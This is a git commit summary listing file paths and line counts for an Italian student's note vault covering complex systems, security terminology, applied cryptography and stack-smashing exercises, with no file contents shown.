 .../3 - Automi cellulari/lambda di Langton.md |    23 +
 .../metodo reticolare di Boltzmann.md         |     1 +
 .../3 - Automi cellulari/modello Axelrod.md   |     9 +
 ...odello FHP con particelle velocità zero.md |     3 +
 .../3 - Automi cellulari/modello FHP.md       |     5 +
 .../modello HPP · regola di transizione.png   |   Bin 0 -> 30332 bytes
 .../3 - Automi cellulari/modello HPP.md       |    22 +
 .../modello Nowak-Lewenstein.md               |    15 +
 .../3 - Automi cellulari/modello Sakoda.md    |    17 +
 .../3 - Automi cellulari/modello Schelling.md |    14 +
 .../3 - Automi cellulari/oscillator.md        |     1 +
 .../3 - Automi cellulari/puffer.md            |     1 +
 .../regola 110 di Wolfram.md                  |     5 +
 .../3 - Automi cellulari/regola di Wolfram.md |     3 +
 .../regola di transizione.md                  |    10 +
 .../3 - Automi cellulari/reticolo FCHC.md     |     7 +
 .../reticolo di un automa cellulare.md        |     3 +
 ...cronizzazione del plotone di esecuzione.md |     3 +
 .../3 - Automi cellulari/spaceship.md         |     1 +
 .../stato di una cella.md                     |     1 +
 .../3 - Automi cellulari/universalità.md      |     5 +
 .../3 - Automi cellulari/vicinato di Moore.md |     3 +
 .../vicinato di un automa cellulare.md        |     3 +
 .../vicinato di von Neumann.md                |     3 +
 .../★ automi cellulari.canvas                 |    96 +
 .../4 - Grafi/arco di accoppiamento.md        |     1 +
 ...to categorico di un grafo multi-livello.md |     1 +
 .../aspetto di un grafo multi-livello.md      |     1 +
 ...etto ordinale di un grafo multi-livello.md |     1 +
 8 - Sistemi complessi/4 - Grafi/bellezza.md   |     1 +
 .../4 - Grafi/circuito euleriano.md           |     1 +
 ...nte di clustering in una rete multiplex.md |     6 +
 .../4 - Grafi/coefficiente di clustering.md   |    11 +
 .../4 - Grafi/diametro di un grafo.md         |    15 +
 .../distanza tra nodi di un grafo.md          |     9 +
 .../4 - Grafi/eccentricità di un nodo.md      |    13 +
 .../4 - Grafi/grafo a nodi colorati.md        |     1 +
 .../4 - Grafi/grafo a reticolo.md             |     6 +
 .../4 - Grafi/grafo ad archi colorati.md      |     1 +
 .../4 - Grafi/grafo casuale.md                |     6 +
 .../4 - Grafi/grafo completo.md               |     1 +
 .../4 - Grafi/grafo connesso.md               |     1 +
 .../4 - Grafi/grafo denso.md                  |     1 +
 ...grafo multi-livello a livelli disgiunti.md |     1 +
 .../grafo multi-livello allineato ai nodi.md  |     1 +
 .../grafo multi-livello categorico.md         |     6 +
 ...-livello diagonale a livelli accoppiati.md |     1 +
 .../grafo multi-livello diagonale.md          |     6 +
 .../grafo multi-livello interconnesso.md      |     1 +
 .../grafo multi-livello k-partito.md          |     1 +
 .../4 - Grafi/grafo multi-livello.md          |    11 +
 .../4 - Grafi/grafo scale-free.md             |     1 +
 .../4 - Grafi/grafo small-world.md            |     8 +
 .../4 - Grafi/grafo sparso.md                 |     1 +
 8 - Sistemi complessi/4 - Grafi/grafo.md      |     1 +
 .../4 - Grafi/interdipendenza.md              |     3 +
 8 - Sistemi complessi/4 - Grafi/iperarco.md   |     5 +
 8 - Sistemi complessi/4 - Grafi/ipergrafo.md  |     5 +
 8 - Sistemi complessi/4 - Grafi/iperrete.md   |     5 +
 .../lunghezza caratteristica di un grafo.md   |    15 +
 .../4 - Grafi/multislice modularity.md        |     1 +
 .../4 - Grafi/percolation threshold.md        |     1 +
 .../4 - Grafi/percorso euleriano.md           |     1 +
 .../4 - Grafi/raggio di un grafo.md           |    15 +
 .../4 - Grafi/rete interdipendente.md         |     3 +
 .../4 - Grafi/rete multiplex correlata.md     |     3 +
 .../rete multiplex straightforward.md         |     1 +
 .../4 - Grafi/rete multiplex.md               |    11 +
 .../4 - Grafi/★ grafi multi-livello.canvas    |    46 +
 .../4 - Grafi/★ grafi.canvas                  |    42 +
 .../4 - Grafi/★ ipergrafi.canvas              |    13 +
 .../5 - Origine della vita/catalizzatore.md   |     1 +
 .../gene duplication.md                       |     1 +
 ...-catalitico riflessivo generato da cibo.md |     5 +
 .../insieme auto-replicante.md                |     3 +
 .../modello di Kauffman gene-RBN.md           |     3 +
 ...auffman per gli insiemi auto-replicanti.md |    11 +
 .../5 - Origine della vita/substrato.md       |     1 +
 .../★ geni come random boolean network.canvas |     6 +
 .../★ insiemi auto-replicanti.canvas          |    15 +
 .../6 - Robustezza/canalizzazione.md          |     5 +
 .../6 - Robustezza/cromosoma.md               |     1 +
 .../6 - Robustezza/crossover.md               |     1 +
 .../6 - Robustezza/degenerazione.md           |     5 +
 .../6 - Robustezza/evolvibilità.md            |     1 +
 .../6 - Robustezza/fenotipo.md                |     3 +
 .../6 - Robustezza/fitness.md                 |     3 +
 8 - Sistemi complessi/6 - Robustezza/gene.md  |     1 +
 .../6 - Robustezza/genoma.md                  |     1 +
 .../6 - Robustezza/genotipo.md                |     1 +
 .../6 - Robustezza/individuo.md               |     1 +
 ... duplication-degeneracy-complementation.md |     3 +
 .../6 - Robustezza/nucleotide.md              |     3 +
 .../6 - Robustezza/omeostasi.md               |     1 +
 .../paradosso dell'evolvibilità.md            |     3 +
 .../6 - Robustezza/plasticità fenotipica.md   |     5 +
 .../6 - Robustezza/pleiotropia.md             |     3 +
 .../6 - Robustezza/point mutation.md          |     1 +
 .../6 - Robustezza/popolazione.md             |     1 +
 .../6 - Robustezza/proteoma.md                |     1 +
 .../6 - Robustezza/rete neutrale.md           |     1 +
 .../rete regolatrice di geni.md               |    19 +
 .../6 - Robustezza/ridondanza.md              |     3 +
 .../6 - Robustezza/robustezza biologica.md    |     3 +
 .../robustezza differenziale.md               |     3 +
 .../6 - Robustezza/robustezza distribuita.md  |     3 +
 .../6 - Robustezza/robustezza locale.md       |     5 +
 .../6 - Robustezza/robustezza.md              |     5 +
 .../tolleranza altamente ottimizzata.md       |    13 +
 .../6 - Robustezza/tratto.md                  |     1 +
 .../6 - Robustezza/versatilità.md             |     1 +
 .../6 - Robustezza/★ robustezza.canvas        |    73 +
 .../🞵 parentesi anti-eugenica.md              |     5 +
 .../1 - Terminologia/STRIDE.md                |     8 +
 .../1 - Terminologia/analisi dei rischi.md    |     1 +
 .../1 - Terminologia/asset.md                 |     3 +
 .../1 - Terminologia/attaccante.md            |    29 +
 .../1 - Terminologia/bug.md                   |     1 +
 .../1 - Terminologia/debolezza.md             |     5 +
 .../1 - Terminologia/difetto.md               |     1 +
 .../1 - Terminologia/distinguisher.md         |     1 +
 .../1 - Terminologia/exploit.md               |     1 +
 .../1 - Terminologia/funzionalità.md          |     1 +
 .../1 - Terminologia/input illecito.md        |     1 +
 .../1 - Terminologia/input invalido.md        |     1 +
 .../1 - Terminologia/input lecito.md          |     1 +
 .../1 - Terminologia/input valido.md          |     2 +
 .../meccanismo di prevenzione.md              |     8 +
 .../meccanismo di reazione.md                 |     1 +
 .../meccanismo di rilevazione.md              |     7 +
 .../meccanismo di sicurezza.md                |     1 +
 .../1 - Terminologia/minaccia.md              |     7 +
 .../1 - Terminologia/politica di sicurezza.md |     1 +
 .../1 - Terminologia/prestazioni.md           |     1 +
 .../principio del minimo privilegio.md        |     1 +
 .../principio del silenzio.md                 |     1 +
 .../1 - Terminologia/rischio.md               |     1 +
 .../1 - Terminologia/sicurezza informatica.md |     1 +
 .../1 - Terminologia/sicurezza.md             |    11 +
 .../1 - Terminologia/superficie di attacco.md |     1 +
 .../1 - Terminologia/vettore di attacco.md    |     1 +
 .../1 - Terminologia/vulnerabilità.md         |     5 +
 .../00 - stack-zero.md                        |    11 +
 .../01 - stack-one.md                         |    11 +
 .../02 - stack-two.md                         |    30 +
 .../03 - stack-three.md                       |    20 +
 .../04 - stack-four.md                        |    45 +
 .../05 - stack-five.md                        |    89 +
 .../Stack smashing cheat sheet.md             |    29 +
 777 files changed, 30990 insertions(+)
 create mode 100644 .gitignore
 create mode 100644 .obsidian/app.json
 create mode 100644 .obsidian/appearance.json
 create mode 100644 .obsidian/backlink.json
 create mode 100644 .obsidian/bookmarks.json
 create mode 100644 .obsidian/canvas.json
 create mode 100644 .obsidian/community-plugins.json
 create mode 100644 .obsidian/core-plugins-migration.json
 create mode 100644 .obsidian/core-plugins.json
 create mode 100644 .obsidian/graph.json
 create mode 100644 .obsidian/hotkeys.json
 create mode 100644 .obsidian/plugins/obsidian-file-color/data.json
 create mode 100644 .obsidian/plugins/obsidian-file-color/main.js
 create mode 100644 .obsidian/plugins/obsidian-file-color/manifest.json
 create mode 100644 .obsidian/plugins/obsidian-file-color/styles.css
 create mode 100644 .obsidian/publish.json
 create mode 100644 .obsidian/snippets/canvas-node-placeholder-size.css
 create mode 100644 .obsidian/starred.json
 create mode 100644 .obsidian/switcher.json
 create mode 100644 0 - Generale/cardinalità di un insieme.md
 create mode 100644 0 - Generale/insieme.md
 create mode 100644 0 - Generale/lista.md
 create mode 100644 7 - High performance computing/★ glossario ad alta performance.md
 create mode 100644 7 - Introduction to quantum information processing/1 - Concetti base/Untitled.md
 create mode 100644 7 - Introduction to quantum information processing/1 - Concetti base/bit.md
 create mode 100644 7 - Introduction to quantum information processing/1 - Concetti base/ket.md
 create mode 100644 7 - Introduction to quantum information processing/1 - Concetti base/prodotto tensoriale.md
 create mode 100644 7 - Introduction to quantum information processing/1 - Concetti base/qbit.md
 create mode 100644 7 - Introduction to quantum information processing/1 - Concetti base/stato base di un qbit.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/contesto.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/dominio.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione ideale.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/funzione.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/interfaccia.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/parametro.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/primitiva.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/problema.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/protocollo.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/risultato.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/soluzione.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/vincolo.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/agente.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/attacco.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/avversario.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/costo.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittoanalisi.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittografia.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittologia.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/esperimento.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia computazionale.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia perfetta.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/livello di sicurezza.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/mitigazione.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/risorsa.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/sfidante.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/spazio.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra blu.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra rossa.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/tempo.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/utilizzo.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/violazione.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/backward secrecy.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/casualità crittografica.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-random.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-urandom.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/distribuzione uniforme.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropia.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropy pool.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/flusso.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/forward secrecy.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/generatore.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/hardware random number generator.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/imprevedibilità.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/mixing.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/pseudo-random number generator.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random clone.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random fork.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/sorgente di rumore.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/stato di un pseudo-random number generator.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/true random number generator.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/update dello stato di un pseudo-random number generator.md
 create mode 100644 8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/blob.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/chosen-plaintext attacker.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext-only attacker.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/comunicazione simmetrica.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di cifratura.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/funzione di decifratura.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/integrità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/irrational attacker.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/known-plaintext attacker.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/non-adaptive chosen-ciphertext attacker.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/testo.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/tipo di avversario.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a sostituzione.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario a trasposizione.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/cifrario di Cesare.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/crittografia classica.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/2 - Confidenzialità/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/3DES.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/A51.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/AES.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/ChaCha20.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/DES.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/EFAIL.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/PKCS7.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XChaCha20.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/attacco contro initialization vector prevedibili.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/blocco.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/bruteforce.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a blocchi.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a flusso.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher block chaining operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cipher feedback operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/counter operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/crittografia simmetrica moderna.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/determinismo dell'initialization vector.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/deterministic pseudo-random bitstring generator.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/distinguibilità degli errori di padding.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/electronic codebook operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-COA.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-CPA.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/esperimento IND-DCPA.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/famiglia di funzioni pseudo-casuali.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/key recovery.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keystream.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/limite di dati cifrabili.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dei cifrari a flusso.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dell'one-time pad.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/manipolazione dell'initialization vector.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/non-uniforme.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce → initialization vector.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/one-time pad.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/operation mode di un cifrario a blocchi.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding oracle attack.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/principi di Kerckhoffs.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/random permutation.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/rc.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/re-keying.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi nell'one-time pad.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di nonce.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/uniforme.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/bit di parità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/checksum.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/cyclic redundancy check.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/funzione di hashing.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/hash.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/verifica dell'integrità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Integrità semplice/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/MD5.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA1.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA2.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA224.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA256.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-224.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-256.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-384.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3-512.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA3.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA384.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHA512.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/SHAttered.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/attacco del compleanno.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision experiment.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/collision.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision experiment.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/first pre-image collision.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/funzione di hashing crittografico.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/hashing con più input.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/length extension attack.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision experiment.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/second pre-image collision.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/verifica crittografica dell'integrità.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/4 - Integrità crittografica/★ mappa concettuale.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.canvas
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CMAC.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/GMAC.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/HMAC.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/SipHash.md
 create mode 100644 8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/autenticazione.md
